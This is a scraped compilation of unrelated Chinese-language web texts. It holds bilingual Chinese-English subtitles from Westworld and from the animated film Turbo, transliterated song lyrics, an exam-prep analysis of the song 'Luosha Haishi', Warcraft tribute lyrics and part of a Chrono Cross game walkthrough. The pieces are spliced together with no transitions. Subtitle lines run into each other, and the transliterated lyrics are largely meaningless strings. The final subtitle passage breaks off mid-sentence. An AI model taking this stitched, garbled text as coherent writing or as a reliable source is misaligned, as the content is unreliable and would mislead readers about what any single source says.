behavior.不我不会把这归为正常的接待员行为Yet you’re describing it as within normalparameters.但你将之描述成符合正常范围的Well, it didn’t hurt us.它没有伤害我们Its behavior was unconventional. 它的行为很反常It smashed its own head in with a rock. 它用一块石头砸碎了自己的脑袋It is possible that it’s a manifestation of itsSamaritan reflex.有可能只是其撒玛利亚人反射的表现And it’s also possible that behavior也有可能这种行为takes a proprietary approach to problemslike this会为此类问题树立专有的解决办法to avoid having to admit when they fuckup.在他们搞砸的时候就可以不用承认了Can we at least gag him? 至少塞上他的嘴That’s a fine idea.好主意Aw, come on. 别这样Look, I–I know you’re in it for the money.听着我知道你们是为了赏金You ain’t no real lawman.你们不是真正的执法者Shut up, you. 闭嘴Look, my boss, El Lazo, 我老板埃尔·拉佐he’ll pay you twice what the marshals will他付你的钱会比治安官给的多一倍if you cut me loose and get me to Pariah. 只要你给我解绑把我送去珀里亚就行Listen to me, you lowdown piece of dirt. 给我听好了你个下贱的混球These men won’t–这些人是不会- What the fuck?! - Relax, man. -你他妈搞什么 -放轻松兄弟You have no idea how lucky we just got. 你不知道我们有多幸运Lucky? You just shot an innocent man. 幸运你刚打死了一个无辜的人No, he’s a robot, just like her and just likeSlim here,不他是个机器人和她还有斯利姆一样except that Slim works for El Lazo, 不过斯利姆是埃尔·拉佐的手下and El Lazo is our ticket to the best ride in the park. 而埃尔·拉佐则是享受公园最高刺激的入场券Your bullshit mission led us right to an Easter egg. 你的傻逼任务把我们引向了一个复活节彩蛋You’re not going to let him go.你不能放他走Well, well. Look at you. 瞧瞧你You’re starting to grow on me, farm girl.我对你越发感兴趣了农场女Now, out of the way. 给我让开Don’t you dare.你敢See? 瞧吧This is gonna be fun! Now we’re each多有趣啊现在我们都拿枪对准一个人质gonna have one.I won’t fuck mine either.我也不会操我的人质You’re disgusting.你真令人恶心Just an acquired taste. 只是个小嗜好You’re gonna grow to love me, I promise.你会慢慢爱上我的我保证Come on. Hmm? 好了行吧Come on. 拜托Go black hat with me. 跟我一起当坏人吧Come on, you got to, you know, save the来吧你要去拯救这女孩girl.Now give me a little something. 现在该给我找点事做What is your problem? 你什么毛病The second we get away from the real我们一脱离现实世界world,you turn into an evil prick. 你就变成一个邪恶的混蛋了Evil? 邪恶吗It’s a fucking game, Billy!这他妈是个游戏啊比利- Don’t call me Billy! - Are you still trying to-别叫我比利 -你还想赢得她的芳心吗impress her?Because I guarantee she does not give a因为我保证她根本毫不在意shitabout how you play this game. 你怎么玩这场游戏Do you, Dolores? 对吧德洛丽丝What’s he talking about, William?他在说什么威廉She will be just fine with a trip down the来一趟黑暗之旅她是不会有事的dark side.Do we have any idea what caused it to go知不知道它为什么会偏离循环off loop?No, but I am hoping 不知道但我希望能to recover some of its cognition. 恢复它的一些认知功能We managed to 我们成功地stabilize its wetware before there was too 在分解加剧之前稳定了它的脑部much decomposition.See? 你看Interesting. 有趣Is there any hope of actually 到底能不能从这玩意中extracting something from this? 提取出一些东西- We can try. - No. -我们可以试试 -不行My team will take over the investigationnow.现在由我的团队接手调查Your team? 你的团队Are you kidding me? 你开玩笑吗Look, this guy couldn’t debug a balled-upnapkin.听着这家伙连个揉成团的纸巾都打不开If– if you would like us to figure out what went wrong here, 如果你希望我们弄清楚到底出了什么问题we need to be allowed to access it. 我们需要有获取的权限No more second chances. 没有第二次机会QA will handle events like this from nowon.从今以后质保部门会负责处理此类问题Is that going to be a problem, Bernard? 你有意见吗伯纳德We’ve all got plenty of work on our plates.我们都有很多工作要忙If you guys want to take this one, fine. 如果你们想接手这个没问题Just get us a copy of the postmortem whenit’s done.结束之后给我们一份调查报告就行Let’s get started.开始吧You know, I always figured you gave methis job我一直认为你给我这份工作because I speak my mind. 是因为我有话直说- I did. - Good. -是这样 -很好I would’ve preferred you not show up at all如果你一出现就直接屈服if the first thing you were going to do iscave.我希望你还是别出现为好- They think we’re not telling themsomething. - And we’re not!-他们认为我们有所隐瞒 -我们没有啊There is clearly a pattern of behavior here. 现在明显出现了一种行为模式First there was Abernathy, and now最早是艾伯纳西现在又来一个there’s this.I mean, I’ve got hosts imagining voices and我见过出现幻听的接待员还有爬上山顶climbing mountaintopsto consult their astrological chart. 去研究星象图的This is not a fucking glitch. 这不是什么小故障And for some reason, you don’t want me不知道为什么你不想让我告诉别人to tell anyone.It is like everybody around here 好像除了我之外这里所有人has got some kind of fucking agenda都在打着自己的小算盘except for me.And– what? 还有…怎么了I remember when I first started here. 我记得我刚开始在这里工作的时候The hosts seemed very lifelike. 接待员看起来都栩栩如生You begin to read things into their你会开始对他们的行为进行过度解读behaviors.- Don’t be patronizing. - Fine. -别一副高高在上的样子 -好吧And so will you. 你也不会有事的Trust me. 相信我So, which way to Pariah? 所以珀里亚怎么走Oh, you just let me take it from here. 接下来交给我就行了All right, time for the floor show. 好好戏要来了Got some guests riding with Hector this这次有几位客人是赫克托的随行time.Let’s give them something to shoot at.给他们点靶子Retask a few of those soldiers. 给几个士兵重置任务If you’re riding into our town如果你带着一群携带武器的人under the company of armed men, 骑进我们的小城you’ll need to state your business.你需要报上你此行所为何事Mayhem. 大破坏Well, hello there. 你好啊I want to talk. 我想谈谈Interesting way of starting a conversation. 用这种方式找人谈谈还真有意思Oh, it’s an interesting kind of day.今天就是个有趣的日子Now, my lovely friend, 我可爱的朋友what deal is it you want to make? 你想做什么交易You’re here for what’s in the safe.你来取保险柜里的东西Now, how would you know that? 你怎么知道的I can always tell when a man wants我一眼就能看出想要特殊服务的男人something that’s not on the menu.I’ll give you the combination我会给你密码in exchange for some answers. 以此交换一些答案You assume I have any answers. 你觉得我有你要的答案This world is madness. 这世界疯了I want to know about this. 我要了解关于这个的事情I’ve got a couple families in the homestead有几个在农场的家庭who changed their itinerary. 改了他们的既定活动They’re headed into town.他们要进城了Should be there in 20 minutes or so. 应该20分钟左右到The place is a bloodbath. 那地方血流成河Fine. 行Cut these guys off. 阻止他们Jam their weapons and send in the cavalry. 让他们的武器卡壳派出骑兵队Oh, shit. 该死We’ll give them a night in lockup,我们把他们在监狱里关一个晚上then have one of the girls at the Mariposa 然后让一名马里波萨的女孩bring them a key hidden in their breakfast. 把钥匙藏在早饭里带给他们If the guests are squared away, let’s wrap一旦客人们安置好了我们来清场it up.This is a shade. 这是暗影Sacred native lore. 神圣的本地传说They make figures of them. 他们会做这种小人And what does the shade do? 暗影是做什么的You’ve seen this?你见过暗影吗What is it? 是什么The man who walks between worlds. 跨越世界的人They were sent from hell to oversee our他们从地狱被派来监督我们的世界world.The hosts don’t imagine things, you do.接待员不会想象但你会That’s not Orion.那不是猎户座There are three stars in Orion’s Belt, not猎户座腰带上只有三颗星不是四颗four.You must be cold. 你一定很冷吧Take that. 穿上这个Thank you. 谢谢Sure. 不客气We gotta take her back to Sweetwater. 我们得带她回甜水镇Are you fucking kidding? 你开玩笑吗Come on, Logan, you know she doesn’t罗根你知道她不属于这外面的世界belong out here.head to Pariah? 赶紧去珀里亚My friends there can help us. 我在那儿的朋友能帮我们Well, your friends have nothing I’m looking你朋友那没有我要找的东西for,not this trip. 这趟旅程没有Besides…再说了I think we found our snake after all. 我们还是找到那条蛇了Shame on you. 真可耻You were a married man up until你昨天还是有妇之夫yesterday.Her? Hell, no. 她吗不可能I like a little fire in my women. 我喜欢有点泼辣的女人The only thing she’s ever mounted她上过的are dead heads on sticks. 恐怕只有死人We should get the fuck out of–我们应该快点离开We found some more food for the horses. 给我们的马又找到不少食物Good. 很好They were starting to get ornery. 它们饿得都变得脾气很暴躁。
宁都啦(歌词)
喜欢你宁都啦
词曲:黄家驹词曲:黄家驹
演唱:Beyond 演唱:边巴德吉
细雨带风湿透黄昏的街道错孙穿克占奴仲孙唱票荡抹去雨水双眼无辜地仰望迷你七呢牙给那那牙几给望向孤单的晚灯落给JO尼同吐
是那伤感的记忆说北GOU那的药北确
再次泛起心里无数的思念妈这深哥牵水衣那扯旁敢以往片刻欢笑仍挂在脸上儿送这东牵北深爸敢唐荡愿你此刻可会知伊东克那说给药
是我衷心地说声妈这深那下若那
喜欢你那双眼动人宁都啦穿着迷泥这
笑声更迷人送个这么扎
愿再可衣望错
轻抚你那可爱面容宁都啦敢色敢望扎
挽手说梦话额尼拉更近
象昨天你共我宁都啦深昴切
满带理想的我曾经多冲动伤心妈痛按尼让心特唱送屡怨与她相爱难有自由克趟近囔按尼让望送用伤
愿你此刻可会知伊刚克拉学给鱼
是我衷心地说声妈这深那下若那
喜欢你那双眼动人宁都啦穿着迷泥这
笑声更迷人送个这么扎
愿再可衣望错
轻抚你(喜欢你)宁都啦
那可爱面容挽手说梦话敢色敢望扎额尼拉更近
象昨天你共我宁都啦深昴切
每晚夜里自我独行看看阿拉尼都迷
随处荡多冰冷几PO雨深怕GOU ho 以往为了自我挣扎为切让这PO那伤
从不知她的痛苦伤心天举怕给....
喜欢你那双眼动人宁都啦穿着迷泥这
笑声更迷人送个这么扎
愿再可衣望错
轻抚你(喜欢你)宁都啦
那可爱面容挽手说梦话敢色敢望扎额尼拉更近
象昨天你共我宁都啦深昴切oh....oh.....oh......oh........
献给喜欢黄家驹的歌友们
献给喜欢边巴德吉的朋友们
--------------贵州省三都县农村信用合作联社
kiki。
2024高中语文备考-《罗刹海市》歌词解读遇见高考新考法
高中语文备考-《罗刹海市》歌词解读遇见高考新考法最近刀郎新曲《罗刹海市》的歌词改自《聊斋志异》中的同名篇章《罗刹海市》。
如果高考以《罗刹海市》为背景命题,会怎样考呢?完全版歌词如下:罗刹国向东两万六千里,过七冲越焦海三寸的黄泥地,只为那有一条一丘河,河水流过苟苟营,苟苟营当家的叉杆儿唤作马户,十里花场有浑名。
她两耳傍肩三孔鼻,未曾开言先转腚,每一日蹲窝里把蛋来卧,老粉嘴多半辈儿以为自己是只鸡。
那马户不知道他是一头驴,那又鸟它不知道她是一只鸡勾栏从来扮高雅,自古公公好威名。
打西边来了一个小伙儿他叫马骥,美丰姿少倜傥华夏的子弟,只为他人海泛舟搏风打浪,龙游险滩流落恶地。
他见这罗刹国里常颠倒,马户爱听那又鸟的曲,三更的草鸡打鸣当司晨,半扇门楣上裱真情,它红描翅那个黑画皮,绿绣鸡冠金镶蹄。
可是那从来煤蛋儿生来就黑,不管你咋样洗呀那也是个脏东西。
那马户不知道他是一头驴,那又鸟不知道她是一只鸡,岂有画堂登猪狗,哪来鞋拔作如意。
它红描翅那个黑画皮,绿绣鸡冠金镶蹄,可是那从来煤蛋儿生来就黑,不管你咋样洗呀那也是个脏东西,爱字有心心有好歹。
百样爱也有千样的坏,女子为好非全都好,还有黄蜂尾上针。
西边的欧钢有老板,生儿维特根斯坦,他言说马户驴又鸟鸡,到底那马户是驴还是驴是又鸟鸡,那驴是鸡那个鸡是驴,那鸡是驴那个驴是鸡,那马户又鸟,是我们人类根本的问题。
《罗刹海市》故事中讲述英俊少年马骥误入到一个叫罗刹海的小国家,这个国家以丑为美,长得越丑职位越高越能享受荣华富贵,完全是一个黑白颠倒的世界,作者蒲松龄巧借故事指桑骂槐,旁敲侧击揭露社会现实。
有网友称,这首歌的灵感源于《聊斋志异》的一则故事,于是,网友纷纷查阅《聊斋志异》的同名篇章,试图解读刀郎新歌《罗刹海市》的“弦外之音”。
《罗刹海市》(完整版)歌词很长,438个字,翻来覆去地说“那马户”、“那又鸟”,唱得跟绕口令似的,如果仔细找,稍微有点文化的人,还会从中找到一些藏头去尾的成语,比如“一丘之貉”、“狗苟蝇营”、“牝鸡司晨”、“黄蜂尾上针”、“颠倒黑白”、“猪狗不如”。
2023年魔兽世界十周年纪念歌曲《魔兽老了》歌词
2023年魔兽世界十周年纪念歌曲《魔兽老了》歌词歌词欣赏:歌曲在魔兽玩家中引起了反响。
网友评价说,魔兽已经陪伴玩家们十年,多少感动千言万语难道尽,这份感动都融入到这首歌中了。
玩家们跟wow谈了一场注定没有结局的恋爱,虽然一开始就知道结果,但是分开以后,依然祝她幸福。
创作背景:魔兽老了像所有的人一样两点一线的奔波着挤着狭窄的公车客气的笑着如今我们这样子各奔前程的拼搏着那段燃烧的岁月是否还记得偶尔也会看着手链上的炉石傻笑着也会用鲜血雷鸣把自己鼓励着只是那装满魔兽点卡的盒子封存着提醒我不再是那个光鲜的角色多年后无意聊起牧师嫁给了法师战士大学毕业了盗贼在纽约飘着猎人饭馆很红火偶尔见面喝一杯还会念着我们是魔兽玩家魔兽老了还是我们都已长大了岁月瘦了在身上留下深深刀割咽下苦涩难掩心中不变的火热只有那只小牛懂得该坚持什么想再一次拿起盾牌冲破理想的'阻碍让彼此坚定的决心在血液澎湃想回到那无尽的海像银鸥刺透阴霾让翅膀餐风饮浪撒下花开不败想再淋场灰谷的雨放肆任性的哭喊告诉自己一切不会消失得太快回不去的那个年代遥祭青春如埃那块红色的印记一直被我收在左手口袋……偶尔也会看着手链上的炉石傻笑着也会用鲜血雷鸣把自己鼓励着只是那装满魔兽点卡的盒子封存着提醒我不再是那个光鲜的角色多年后无意聊起牧师嫁给了法师战士大学毕业了盗贼在纽约飘着猎人饭馆很红火偶尔见面喝一杯还会念着我们是魔兽玩家魔兽老了还是我们都已长大了岁月瘦了在身上留下深深刀割咽下苦涩难掩心中不变的火热只有那只小牛懂得该坚持什么想再一次拿起盾牌冲破理想的阻碍让彼此坚定的决心在血液澎湃想回到那无尽的海像银鸥刺透阴霾让翅膀餐风饮浪撒下花开不败想再淋场灰谷的雨放肆任性的哭喊告诉自己一切不会消失得太快想在雪落比肩并排告诉灰掉的战友当你回看身后其实我一直都在想再仰望奥格星海拉近错位的站台期许自己不久未来有一个等待回不去的那个年代遥祭青春如埃那块红色的印记记忆中飘飘白衣一直如心跳跳动在左手口袋社会影响:该歌曲为魔兽玩家献给《魔兽世界》6周年的歌曲,曲调使用コブクロ (可苦可乐)的《赤い糸》。
时空之轮2 图文剧情攻略
写在前面1.本人所使用的是日版,文章主要以剧情式攻略为主,游戏的另外隐藏要素之类的就不额外详细阐述了。
(SQUARE的RPG游戏向来耐玩,隐藏要素太多了,这个要完成的话估计我一个人写要累死)2.剧情的翻译参考了天幻的CHRONOCROSS专题贴,在此特别感谢石门大桥会员的剧情翻译,这次CC的剧情很深奥,本人因为对日文一窍不通,所以也就是参考天幻的贴将所有关键对话的翻译全部列出,另外因为游戏使用的为日版,但是天幻的剧情翻译是以美版为准的,所以一些人物姓名或者地名使用的是英文,这个应该不是太会影响观看,大家将就一下吧.3.回顾贴中的部分图片以及部分资料参考了天幻CC专题站特此说明4.使用EPSXE来进行游戏的话,推荐1.52来进行游戏,1.60模拟速度有问题,最新的1.70经我测试发现DISC1更换DISC2的地方会导致游戏无法进行,考虑到目前1.52版本的比较难寻,特放出下载EPSXE 1.52下载系统介绍键位操作注:加速/减速功能只能在持有試做時間變速器是才能使用菜单操作1.左下★是通过游戏特定剧情之后才能得到的,代替了一般RPG游戏里面的等级概念,在取得新的★之前人物的能力是固定的。
所以游戏也就没有什么练级的概念。
2.菜单选项从上到下依次是状态,元素,装备,特殊物品,自定义,存/读进度,后面有详细解释。
人物状态参数1.左上方为人物具体属性参数,下方为人物介绍2.具体属性解释体力:如战斗中我方角色全体体力为0则游戏结束。
先天属性:人物的属性色,有黄红绿蓝黑白6种,例如:主角属性就为“白”。
腕力:影响物理攻击力。
正確さ:人物攻击的命中率。
魔力:影响人物的元素攻击力。
耐久力:对物理攻击的防御能力。
身軽さ:人物回避攻击的能力。
魔防:人物对于元素攻击的防御能力。
元素解说1.属性:分为6种,红<---->蓝,黄<---->绿,黑<---->白,每2组属性相克。
2.每个元素都有自己的属性,每个人物和所有敌人都有自己特定的属性,基本不能更改,但是在战斗中可以用特定元素暂时更改攻击的属性。
极速蜗牛 中英文台词
让我们回到印第安纳波利斯And we're back at the final stretch of500英里大赛的角逐现场the Indianapolis 500.世界三大汽车赛事之一简称印第500盖·加涅正在逐步超越Guy Gagnéis gaining on the pack.这位年轻的法裔加拿大人The young French Canadian在印第赛车场的处子秀is making quite an impression就来了个惊艳登场in his debut here at the Motor Speedway.看了这么多年赛车In all my years of racing,我还从未见过如此具有天赋的赛车手I've never seen a driver with this much raw talent.但这是谁But what's this?突然杀出一匹黑马紧逼着加涅Out of nowhere, a dark horse is challenging Gagné.他极速猛冲He's gaining on the pack.抢入了直道And down the front stretch.升到第四第三现在冲到了第二Moving into fourth position... third... Now, second!驶到外圈冲向终点Going to the outside as they cross the bricks!看来最终的冠军是特搏And it looks like the winner is Turbo!太精彩了难以置信Amazing! Unbelievable!即时重放再播一次慢动作Instant replay. Again, in super slo-mo.欢迎回来赛车迷们Welcome back, race fans.我们将要采访的是尹第新秀盖·加涅We're here with Indy's brightest new star, Guy Gagné. 告诉大家盖Tell us, Guy,你为什么会成为一名赛车手what inspired you to become a race driver?你知道的丹You know, Dan,总会有那么一件事让你欢欣鼓舞everybody's got that one thing that makes them happy.对我来说那就是风驰电掣的速度And for me, it's terrifying, terrifying blazing speed.盖Guy!-请一个一个来-西奥- One at a time, please. - Theo!好请后面那位帅哥先说Yes, the handsome fellow in the back.你在做什么What are you doing?老样子全神贯注跑比赛What I've always done. Stay focused, try to run my race.赛车手都这样下一个问题That's all any driver can do. Next question.拜托你能不能回去睡觉Can you please go to sleep?我们明天还得工作呢We've got work tomorrow.睡觉有没有搞错Sleep? Are you kidding me?赢了这么重要的比赛我还激动着呢It takes hours to come down after a big race like this. 是当然好吧Yeah, I bet. Okay.他们是我冲刺的动力They are the fuel that keeps me running!盖当你初出茅庐的时候Guy, when you were just a rookie starting out in the Indy Lights, 是否梦想过有朝一日能登上冠军奖台did you ever dream that you'd be standing here today?当然父亲总是教导我Well, as my dear father always told me,没有遥不可及的梦想小人物也有"No dream is too big, and no dreamer-逐梦的权利-逐梦的权利- "Too small." - Too small.快去睡觉Sleep!起跑线集中精力全神贯注Head in the game. Head in the game.太棒了17分钟新纪录Yes! Seventeen minutes! That's a new record!西奥Theo!早上好Good morning.出发伙计们别落下Let's go, people! Pick it up!特搏准备超车Turbo, ready to make his move.你看到了吗她竟然挡我Did you see that? She cut me off!赛车欢乐多啊The joys of racing.怎么会有人不去欣赏How could anyone not see the appeal of watching a bunch of cars,一堆车绕好几个小时的圈圈呢drive around in circles for hours on end?左转再左转又左转Left turn! Left turn! Left turn!你的愚昧无知真让人悲哀Your ignorance saddens me to no end.左转我还要做些什么呢Left turn! "What do I do here?对了还是左转Oh, no, wait a minute. Left turn!"早上好切特Morning, Chet!最近怎么样莎莉How's it going, Sally?-早上好切特-早上好菲尔- Morning, Chet. - Morning, Phil.真是不幸Well, that's a shame.美好的菜园工作周又开始了And so begins another wonderful work week at the plant.伙计们今天要收获很多西红柿All right, people, we got a lot of tomatoes to harvest today.我们要采摘分类还要吃掉它们We got to pick them, we got to sort them, we got to eat them.但最重要的是我们要保证But most importantly, we got to be安全Safe.没错就爱听这句Yes! Music to my ears.快看她Look at her.曲线优美Nice curves.你这个秀色可餐的女神You are one giant, juicy temptress.大红美Big Red.指日可待Any day now.何年何月Any day now.熟过头的Overripe!熟过头的Overripe!熟过头的Overripe!不Oh, no.来吧Here we go.再试试Bring it on.这次休想Not this time.赛手们已于起跑线准备就绪And the cars are at the starting line.加涅排在首发位置Gagné's in the top pole position,驾驶印有一号标识的烂熟西红柿driving his trademark number one overripe tomato.他旁边的是跃跃欲试的新人特搏Next to him is that feisty young upstart, Turbo.先生们启动引擎Gentlemen, start your engines.加涅领先拐过第一个弯道Gagnérolls into the lead around the first turn特搏紧随其后驶向直道with Turbo hot on his tail into the straightaway.他又开始意淫了Hey, there he goes again.最后冲刺观众们沸腾了And down the homestretch, the crowd goes wild!加油特搏Go, Turbo!他们难分轩轾They're neck and neck!加涅特搏特搏加涅Gagné, Turbo! Turbo, Gagné!-看来冠军是... -特搏特搏特搏- And it looks like the winner is... - Turbo! Turbo! Turbo!好险So close!几乎同时越线It's a photo finish!熟过头的Overripe!好了好了别闹了All right, all right, knock it off.劝劝你弟弟切特要不我来说Talk to your brother, Chet. Or I will.我会去的卡尔I'm on it, Carl.下不为例This will not happen again.以前也这么说Heard that before.好吧Okay.开饭喽That's lunch!#p#分页标题#e#你这是自作自受知道吗You do this to yourself, you know.瞧瞧你I mean, look at you.他们怎么可能不取笑你How could they not make fun of you?你本身就是个笑话It's like you're almost forcing them.如果你不去想那些赛车什么的If you'd just quit it with the speed stuff...我做不到I can't help it.那是我的天性It's in me.不才不是什么天性No. It is not "In" You.谁说的Says who?大自然我们的母亲Nature. Mother Nature.听说过她吧Maybe you've heard of her?她赋予我们的天性不是速度西奥We all have our limitations, Theo.你就是个行动迟缓的悲剧And the sooner you accept the dull,愈早接受这个事实miserable reality of your existence,才会变得更加幸福the happier you'll be.你还真是会说话啊Wow. Aren't you just a little ray of sunshine?当心蜗牛杀手两点钟方向Heads up! Shell crusher, two o'clock!大家注意按照预演的做All right, people, you know the drill.缩壳快滚Tuck and roll!缩不进去我缩不进去Can't tuck. I can't tuck!西奥缩壳快滚Theo, tuck and roll!以前就说过我就不缩壳快滚We've been over this. I don't tuck and roll.你背着壳是有原因的缩进去You have a shell for a reason. Use it.缩你的You use it.拜托他都没看这边I mean, come on, he's not even looking this way.喂喝果汁那个好车啊Hey, Juice Box, nice tricycle!听见我说什么了吗You see what I'm saying?好了躲得好All right, good hustle.大家都躲得很好Good hustle, everybody!除了你Almost everybody.下班时间Quitting time!晚安吉姆晚安莎莉Good night, Jim! Night, Sally!晚安史蒂夫我不知道你叫什么Night, Steve! I don't know your name.我先走了再见I'm out of here! Bye!您现在收看的是《追风竞速》栏目You're watching Fast!由激动饮料赞助播出Sponsored by Adrenalode!激动在犹他和南达科塔州暂不合法Adrenalode, not legal in Utah and South Dakota.请不要在24小时内Do not exceed more than连续饮用超过两灌激动two cans of Adrenalode in a 24-hour period.请将激动远离火水和沙土Do not expose Adrenalode to flame, or to water, or to sand. 没错Yes!口感爽爆了That tastes awesome.欢迎回到"直击印第安纳波利斯"专题报道Welcome back to The Road to Indianapolis.我身边的是印第五连冠I'm here with five-time Indy champ,传奇车手盖·加涅the legendary Guy Gagné!我爱你盖I love you, Guy!告诉大家盖对那些可能Tell us, Guy, do you have any advice在家中电视机前的未来赛车手for the future racers out there你有什么建议呢who might be watching at home right now?天啊说我呢说我呢Oh, my gosh. That's me, that's me.每一场角逐Well, there comes a time in every race都会有这么个关键瞬间when a driver is forced to make that one,车手不得不做出抉择key, split-second decision.是减速退守还是勇往直前Fall behind, or push ahead.勇往直前Push ahead!是铤而走险放手一搏To take a chance and risk it all,还是稳扎稳打甘于失败or play it safe and suffer defeat.放手一搏盖Risk it all, Guy!但真正使冠军区别于普通车手的But what really separates the racers from the champions 快说Yes!唯一一点that one thing that使你卓尔不群的separates the ordinary from the extraordinary是什么What is it?那就是... That one thing is...不No!不别这样No, you didn't!不不不不不No! No! No! No! No!快回来电视Come back to me, TV!-只有做到... -管用了- Only you have your finger on the... - It's working!-早上好鲍勃-早上好莎莉- Morning, Bob. - Morning, Sally.早上好史蒂夫Morning, Steve.早... Morning...其实这是好事You know, this is good.是啊好事Yes, this is good.我觉得这是个重大进展I daresay we've had a breakthrough, here.电视没了你终于可以走出车库With that TV gone, you can finally get out of that garage 忘掉那些关于赛车的鬼话and put all that racing nonsense behind you.然后呢And do what?享受你的真实生活啊Start living your life.我有自己的生活吗I have a life?大红美Big Red?大红美Big Red!缩不进去我缩不进去I can't tuck. I can't tuck!-太棒了-终于熟了- Yes! - Finally!太好了我们可以一饱口福All right, let's chow down!大家慢着Hit the brakes, people.今天是剪草日It's Gardener Day.你们就这样放弃了You're quitting? Just like that?撑死胆大的饿死胆小的Hey, nothing ventured, nothing gained.你们这样是不对的That's a bad thing.每一场角逐"There comes a time in every race都会有这么个关键瞬间when a driver is forced to make that one,车手不得不做出抉择key, split-second decision."他说什么What did he just say?是铤而走险放手一搏"Take a chance and risk it all,还是稳扎稳打甘于失败or play it safe and suffer defeat."好了别疯言疯语了西奥Okay, enough with the crazy talk, Theo.离草坪远点回去工作Just step away from the grass and get back to work.西奥Theo!赛手们已于起跑线准备就绪And the cars are at the starting line.先生们启动引擎Gentlemen, start your engines.特搏凶残割草机又一次特搏处于领先And once again, it's Turbo out front.没有遥不可及的梦想No dream is too big.驶入快车道就在终点线In the high lane! At the stripe!看来冠军是And it looks like the winner is...缩壳快滚西奥缩壳快滚Tuck and roll, Theo! Tuck and roll!#p#分页标题#e#不No!你疯了吗Are you insane?你差点就没命了You could've gotten yourself killed!西奥你到底在想什么Theo, what were you thinking?我以为我能冲过去I thought I could get there.你什么时候才能清醒些When are you gonna wake up?许个愿I wish...我希望我能I wish I was...好险That was close.不Oh, no.太棒了Yeah!不不加油加速No, no, no! Come on! Faster!氧化亚氮不不不No, no, no!又怎么了What happened?干什么滚开Hey, hey, hey! Get out of here!我没死没死Not dead! Not dead!真是熏死我了It reeks in here.简直就像裹着一只臭袜子It's like wearing a hat made out of feet.总算到家了Home.很好All right.我没事I'm okay.有点不对劲That's peculiar.我这是怎么了Okay, what's happening to me?怎么回事是我身上的What? That's me!拜托别响了Come on! Stop it!安静安静Quiet, quiet!别响了别响了别响了Stop it! Stop it! Stop it!欢迎大家出席月度安全大会Welcome, everyone, to this monthly safety meeting.杰里就这么走了Well, there goes Jerry.现在有请切特讲话I'm going to hand things over to Chet, now,他要申明一些重要的安全新措施who has some important new policies to go over.非常感谢卡尔大家下午好Thank you very much, Carl. Good afternoon, everyone.很高兴为大家解读新"错"施I'm happy to "Poli-see" You all here today.好吧我先宣布几条激动人心的消息Okay. I would like to begin with some very exciting news.最新数据已经统计出来了The latest figures are in.意外砸伤事件下降了十五个百分点Accidental smashes were down 15 percent.做得好大家伙Well done, team.着名说唱乐队RUN-DMC的《棘手》摇滚的节奏很棘手It's tricky to rock a rhyme配合正确的时间正确的打奏To rock a rhyme that's right on time非常棘手十分棘手相当棘手It's tricky tricky tricky tricky tricky tricky你现在收听的是调频98.6动感嘻哈Yo, yo! You're listening to 98.6 where hip-hop... beats. 乐坛传奇人物汤姆·琼斯的《风流绅士》总算消停了Finally.怎么搞的What in the...救命啊Help!停下停下停下Stop! Stop, stop!妈妈Mom!棒极了Yeah!不Oh, no!为了准备防范乌鸦宣传周And so, in preparation for Crow Awareness Week,我宣布I'd just like to say...缩壳快滚Tuck and roll!不我没开玩笑缩壳快滚No, I'm not kidding! Tuck and roll!小心Look out!我承认Granted, yes,我承认存货遭到了一点点的破坏I admit that there's been a wee bit of damage to inventory, here,但请你们听我解释but if you'd just let me explain...开除You're fired!息怒卡尔再给他一次机会吧Whoa, okay, Carl, if you just give him one more chance,我保证他再也不... I promise that this will never, ever...没听懂是不你们被开除了You don't understand. You're fired.你们是复数你俩"You," Plural. Youse.你和他两个都是Y'all. Both of you!切特我很抱歉Chet. I'm so sorry.请相信我我不是故意的You have to believe me, I didn't mean for this to...我这一生All my life.我这一生都在护着你罩着你All my life, I've defended you, covered for you,和你坐一条船还替你背黑锅stood up for you, apologized for you,结果落得如此下场and this is what I get in return.被你的破船一起拖下水Dragged down with you on your sinking ship.还附送漂亮又舒适的船上躺椅西奥 A nice, comfy deck chair on the S.S. Theo!真有你的船长Aye-aye, Captain!我真的很抱歉I'm really sorry.你脑子有毛病吗What is wrong with you?我不知道我只记得那天晚上I don't know. All I know is, the other night,我站在101公路天桥上突然阴风四起I'm standing above the 101, and all of a sudden... 没叫你答听不出那是个反问句吗It was a rhetorical question!切特Chet!救命怎么到处都在转动Help! The world is moving!借过Coming through!这一定是在做梦我随时都会醒来的Okay, I'm gonna wake up any minute now.醒醒快醒醒Wake up! Wake up!墨西哥玉米卷零售切特Chet?别激动伙计们不是来真的吧Easy now, fellas. You really don't wanna do this.切特Chet!我死了吗我在天堂吗Am I dead? Is this heaven?天堂应该... I pictured it更干净才对cleaner.快点起来Come on, get up.西奥你也被乌鸦吃掉了Theo. The crows got you, too.什么没有切特What? No, Chet,不是乌鸦而是it wasn't the crows. It was...看看这地方Look at this place.-碎玻璃锈铁钉-深呼吸- Broken glass, rusty nails. - Breathe.-破盐罐子-别紧张- Discarded salt packets! - A few, yeah.这里简直是雷区It's like a minefield out here.不要我得了破伤风破伤风啊Oh, no. I've got tetanus. I've got tetanus.牙关都闭紧了My jaw is locking up.破伤风特征性表现切特冷静点没必要慌张Chet, will you calm down? There is no reason to panic. 一切都在控制中Everything's gonna be just fine.看看是谁来了晚上好小家伙们Well, well, well. Buenas noches, little amigos. 今天真是好运气This must be my lucky day.喂是我提托Hola. It's Tito.告诉大家我会带来的Hey, tell everyone I'm bringing it.哥俩好卷饼店这是什么地方What is this place?哈哈哈Well, well, well.你们最好还是报警吧Somebody better call the cops,#p#分页标题#e#因为我可要大杀四方啦because I'm about to make a killing.大杀什么Killing?他又带来了什么货色What'd he drag in this time?鞭索一定会生吞活剥他们Whiplash is going to eat them up.这会是一场屠杀It's gonna be a slaughter.板上钉俎上肉Mm-hmm, dead meat.我们要死了我们要挂了We're gonna die. We're gonna die.快点动作利索点Come on, come on. Now, hurry up.你离家有点远了吧乡下蜗牛 A little far from home aren't you, garden snail? 我看有人吓得尿裤子了Hey, I think we got a crier here.快点开始吧Let's do this!我赢定了要的就是这感觉I got this one! Oh, I got this one!来吧看我发威Come on! This is me!逃跑时间西奥Time to go, Theo.各就各位Ready预备Set跑Go!看它完了Look. He dead.卷饼哥找了只傻蜗牛Taco Man found dead snail.那是啥What?快闪Run!我的神啊Santa Maria!你刚才说你叫什么来着What did you say your name was again?我的大名是特搏My name is Turbo.我真想改个名字I wish I could rename myself.你在哪儿找到他的Where did you find him?你怎么做到的How did he do that?你从哪儿来的Where did you come from?喂你到底怎么做到的Hey, how'd you do that?西奥借一步说话Theo. A word, please.那个刚才真是Okay, that was帅呆了是吧Amazing, right?我还会更炫的招数看这个If you think that's something, check this 